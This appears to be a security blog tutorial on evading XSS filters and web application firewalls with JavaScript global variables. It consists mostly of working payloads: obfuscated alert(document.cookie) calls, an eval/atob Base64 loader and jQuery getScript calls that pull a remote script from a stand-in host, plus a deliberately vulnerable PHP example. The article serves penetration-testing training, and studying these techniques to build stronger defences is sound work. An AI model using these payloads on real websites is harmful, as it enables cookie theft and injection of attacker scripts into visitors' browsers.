Bypass XSS filters using JavaScript global variables

In this article, theMiddle discusses the many possibilities to exploit a reflected (or even stored) XSS when there are filters or WAF's protecting the website.

Bypass XSS filters using JavaScript global variables

So your target seems to be vulnerable to XSS but all your attempts to exploit it are blocked by filters, input validation or WAF rules... let's explore how to bypass them using JavaScript global variable.

In this article, we are here to discover together how many possibilities we have to exploit a reflected (or even stored) XSS when there are filters or firewalls between us and the target website. One of the most efficient methods is using a global variable like self, document, this, top or window.

I'll test all payloads in this post on the PortSwigger Web Security Academy lab, but you can test it by using your browser JavaScript console.

Table of contents

 

Before starting

What's a JavaScript global variable?

A JavaScript global variable is declared outside the function or declared with window object. It can be accessed from any function. https://www.javatpoint.com/javascript-global-variable

Let's assume that your target web application is vulnerable to a reflected XSS into a JavaScript string or in a JavaScript function (you can find an awesome XSS labs at PortSwigger Web Security Accademy, I'm going to use this lab for some tests).

For example, let's think about something like the PHP script below:

echo "<script>
    var message = 'Hello ".$_GET["name"]."';
    alert(message);
</script>";

As you can see, the name parameter is vulnerable. But in this example, let's say that the web application has a filter that prevents using "document.cookie" string into any user input using a regular expression like /document[^\.]*.[^\.]*cookie/. Let's take a look at the following payloads:

payload description action
document.cookie standard block
document%20.%20cookie add encoded space char block
document/*foo*/./*bar*/cookie add comments block

In this case, JavaScript global variable could be used to bypass it. We have got many way to access the document.cookie from the window or self object. For example, something like window["document"]["cookie"] will not be blocked:

payload description action
window["document"]["cookie"] global variable pass
window["alert"](window["document"]["cookie"]); call alert() from window pass
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"]); add comments pass

As you can see from the example above, you can even access to any JavaScript function with a syntax like self["alert"]("foo"); that is equal to alert("foo");. This kind of syntax gives you many way to bypass a lot of weak filters. Obviously, you can use comments almost everywhere like:

(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")

About "self" object

The Window.self read-only property returns the window itself, as a WindowProxy. It can be used with dot notation on a window object (that is, window.self) or standalone (self). The advantage of the standalone notation is that a similar notation exists for non-window contexts, such as in Web Workers. By using self, you can refer to the global scope in a way that will work not only in a window context (self will resolve to window.self) but also in a worker context (self will then resolve to WorkerGlobalScope.self). https://developer.mozilla.org/en-US/docs/Web/API/Window/self

You can call any JavaScript function from:

  • window
  • self
  • _self
  • this
  • top
  • parent
  • frames
 

1. Concatenation and Hex escape sequences

One of the most common techniques to bypass WAF rules, is to use string concatenation when it's possible. This is true for RCE, in a different fashion even for SQLi but also for JavaScript.

There're many WAF which use filters based on a list of JavaScript function names. Many of those filters blocks requests containing strings such as alert() or String.fromCharCode(). Thanks to global variables, they can be easily bypassed using string concatenation or hex escape sequences. For example:

/*
** alert(document.cookie);
*/

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

A more complex syntax to elude filters is to replace string with hex escape sequences. Any character with a character code lower than 256 can be escaped using its hexadecimal representation, with the \x escape sequence:

> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!

Obviously, replacing "alert", "document" and "cookie" strings with their hexadecimal representation, makes it possible to call any function in one of the global variables seen before:

/*
** alert(document.cookie)
*/

self["\x61\x6c\x65\x72\x74"](
    self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
        ["\x63\x6f\x6f\x6b\x69\x65"]
)
 

2. Eval and Base64 encoded strings

One of the hardest thing to do if a WAF is filtering our inputs, is to dynamically create (and add), a script element that calls a remote JavaScript file (something like <script src="http://example.com/evil.js" ...). Even with a weak filter, it's something not so easy to do, because there are many "well recognizable" patterns like <script, src=, http:// and so on.

Base64 and eval() could help us, especially if we can avoid to send the "eval" string as a user's input. Take a look at the following example:

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
    "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
    c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
    HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
    QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
    oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
    aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
    y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
    5kQ2hpbGQoc2NyaXB0KTs="
  )
)

as shown before I'm using the hexadecimal representation of "eval" self["\x65\x76\x61\x6c"] and "atob" for decoding a Base64 string self["\x61\x74\x6f\x62"]. Inside the Base64 string, there is the following script:

// select head tag
var head = document.getElementsByTagName('head').item(0); 

// create an empty <script> element
var script = document.createElement('script');

// set the script element type attribute
script.setAttribute('type', 'text/javascript');

// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');

// append it to the head element
head.appendChild(script);
 

3. jQuery

As mentioned throughout this article, JavaScript gives you a lot of ways to elude filters, this sentence is even more true on modern websites using libraries such as jQuery. Let's assume that you can't use self["eval"] and its hexadecimal representation, you can ask jQuery to do it for you by using, for example, self["$"]["globalEval"]:

payload action
self["$"]["globalEval"]("alert(1)"); pass
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
pass

You can even easily add a local or remote script with self["$"]["getScript"](url). getScript loads a JavaScript file from the server using a GET HTTP request, then execute it. The script is executed in the global context, so it can refer to other variables and use jQuery functions.

payload action
self["$"]["getScript"]("https://example.com/my.js"); pass
 

4. Iteration and Object.keys

The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop.

That's means that we can access any JavaScript function by using its index number instead the function name. For example, open your browser's web console and type:

c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }

This gives you the index number of the "alert" function inside self object. The number is different on each browser and on each open document (in my example is 5) but it can makes you able to call any function without using its name. For example:

> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")

In order to iterate all functions inside self you can loop through the self object and check if the element is a function using typeof elm === "function"

f=""
for(i in self) {
    if(typeof self[i] === "function") {
        f += i+", "
    } 
};
console.log(f)
iteration of all functions inside self

As mentioned previously, this number can change on different browser and document so, how can we find the "alert" index number if the "alert" string is not allowed and none of the above methods can be used? JavaScript gives you a lot of chances to do it. One thing we can do is to assign to a variable (a) a function that iterate self and find the alert index number. Then, we can use test() to find "alert" with a regular expression like ^a[rel]+t$:

a = function() {
    c=0; // index counter
    for(i in self) {
        if(/^a[rel]+t$/.test(i)) {
            return c;
        }
        c++;
    }
}

// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}

// then you can use a() with Object.keys
// alert("foo")

self[Object.keys(self)[a()]]("foo")

 

Conclusion

Sanitization and Validation, are two terms often confused not only by beginner developers. Validation means verifying that the data being submitted conforms to a rule or set of rules that a developer set for a particular input field. Obviously, a good validation of the user input is an essential thing that your web application should do. When it isn't possible, a Web Application Firewall could be a good alternative.

If you liked this post, please share and follow me!